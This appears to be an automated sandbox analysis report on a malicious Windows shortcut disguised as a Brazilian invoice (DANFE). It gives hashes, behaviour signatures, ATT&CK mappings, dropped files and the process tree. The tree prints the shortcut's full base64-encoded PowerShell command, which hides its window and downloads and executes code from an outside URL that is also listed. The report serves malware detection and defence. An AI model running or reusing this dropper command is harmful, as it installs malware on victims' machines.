4fd9ac39ba840a298ae238d690b1c19dcf1d65536d803cf0f0cb9b05212e5e72

General

Target

NotaFiscal_Danfe_N43553454BR.lnk
Size

2KB
MD5

c3996410f80fd3137feb0f42074c71ca
SHA1

2da7caa8372ddb9e6601a029ed3d2128b5263b08
SHA256

11718e47eee14d48ff490b5443e430607968f9a18d95272e72e128c0c97c6234
SHA512

a706a0cd9c1a0443476067221786518a46c614a91f0937f384c7e8068d2ed85ff05e243e964556b34fc4c363d7296d229a47db1a37e78382825cf4f37294cb78

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://sepogy.epiain.com/v2/gl.php?aHR0cHM6Ly9zZXBvZ3kuZXBpYWluLmNvbS92Mnw2NDhR%

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2744	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2744	2640	cmd.exe	31
PID 2640 wrote to memory of 2744	2640	cmd.exe	31
PID 2640 wrote to memory of 2744	2640	cmd.exe	31
PID 2744 wrote to memory of 2576	2744	powershell.exe	32
PID 2744 wrote to memory of 2576	2744	powershell.exe	32
PID 2744 wrote to memory of 2576	2744	powershell.exe	32
PID 2576 wrote to memory of 3016	2576	csc.exe	33
PID 2576 wrote to memory of 3016	2576	csc.exe	33
PID 2576 wrote to memory of 3016	2576	csc.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NotaFiscal_Danfe_N43553454BR.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2640
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en cAB5ADsAYQBkAGQALQBUAFkAcABFACAALQBuAGEATQBFACAAQQAgAC0ATQBlAE0AYgBFAHIARABFAGYAaQBuAEkAVABpAE8ATgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAG4AQQBNAEUAcwBwAGEAQwBlACAAQgA7AFsAYgAuAEEAXQA6ADoAUwBIAE8AdwBXAEkAbgBkAE8AVwAoACgAWwBTAFkAcwB0AGUAbQAuAEQASQBhAGcATgBPAHMAVABpAEMAcwAuAFAAcgBPAEMAZQBzAHMAXQA6ADoAZwBlAHQAQwBVAFIAUgBlAG4AVABQAHIATwBDAEUAcwBTACgAKQAgAHwAIABQAFMAKQAuAE0AYQBJAE4AdwBpAG4ARABvAHcAaABhAG4ARABMAGUALAAwACkAOwBJAGUAWAAoAE4AZQBXAC0ATwBiAGoAZQBDAHQAIABOAGUAVAAuAFcAZQBiAEMATABpAGUAbgBUACkALgBEAE8AdwBOAEwATwBhAEQAUwBUAHIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAGUAcABvAGcAeQAuAGUAcABpAGEAaQBuAC4AYwBvAG0ALwB2ADIALwBnAGwALgBwAGgAcAA/AGEASABSADAAYwBIAE0ANgBMAHkAOQB6AFoAWABCAHYAWgAzAGsAdQBaAFgAQgBwAFkAVwBsAHUATABtAE4AdgBiAFMAOQAyAE0AbgB3ADIATgBEAGgAUgAlACcAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\orabdere.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4876.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4875.tmp"
      4⤵
      PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES4876.tmp

Filesize
1KB

MD5
2272bf3fbe8396f5d7857c1d1bfcfd91

SHA1
8dfd912cb7a13b3849821f66b4b4f9ded7359b73

SHA256
0a71415d4a404eeafa1015a35aeef09106e6bb7e83164a81181fffe7860c2087

SHA512
a7e14ec8da5d50afb0a668511dc87233c71270c875a33e15f266b1b3dc27a0c8be1e656c6ff8d5f09932799a3a32a28bad9edc769fc618f759dc39e4779d88a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\orabdere.dll

Filesize
3KB

MD5
1a97587d8bcadd756967a8d69440e8a2

SHA1
b39a5abcb8281119d0b82b9bd30814a463998681

SHA256
838c02ec76fcadef201351a326c96cb8cd0cdbe87c0b30c9beedbad6ea0c68cf

SHA512
141444319e5268fb8dc70116cbdeb47c5913680c5af8dee1bd0b049561684bed137c663c800e258be4304c3b84a345edcc3acc796298eba90ec88f5428f5a4e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\orabdere.pdb

Filesize
7KB

MD5
b1b57e1f54d073d9e6040c3d9ee8d48e

SHA1
b200d3d9378e2c3fb0bd9640038412206c6eae21

SHA256
d170fab5283b33d67d4644c3bf5c32758863271bf0377a3ed602dffe07947f04

SHA512
260896d63892c4c71af0d87560e185549fc933971c5611ef83a2588ac25348e42b1376a2cf3cec44419d3288373bf3d86029344ed536602083bf3db1915e2c28

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC4875.tmp

Filesize
652B

MD5
640b2a30551bfe0d8ec7d66695c2b2dc

SHA1
d4bd9ce277bf8b9608dc485f4e4edbd0acde65b3

SHA256
45952cf0d1195f632811d0874f978f18703f9498a9d7343562299dcaf635fd0d

SHA512
0e354fdfcc4989dc4539142c00ba3ede28bedc0a4481f9f79582e018b5c3fcbca3c182ff0d222488152503b90dd928c3401b073a759e085458939d043349aa7a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\orabdere.0.cs

Filesize
187B

MD5
7b0e7177dfbb9edd1c1ef08b4fdfae2f

SHA1
cb11a0252cdad66ec247312ccb7feb46456e52b6

SHA256
6caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa

SHA512
7322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\orabdere.cmdline

Filesize
309B

MD5
6fbf3893d649e4b2cad7ac875cdcee53

SHA1
954dc1f600f078200b3c789c12f39c41c694d4af

SHA256
04d393ef7424994cfa3ff6fb47158976da4a6b83ceb2ee8be03dde7a8a5baaee

SHA512
b055a582f124987f0ac0df4b84efac18a7a8e511ba56017bc89050dc5c2ae535ffee2c0376ba5da0f23b3522ebf6c13e403d38961f9734d44f807edeee09e154

Download Submit
memory/2744-42-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2744-49-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2744-46-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2744-38-0x000007FEF575E000-0x000007FEF575F000-memory.dmp

Filesize
4KB

Download
memory/2744-41-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2744-40-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2744-58-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2744-39-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2744-61-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2744-62-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2744-63-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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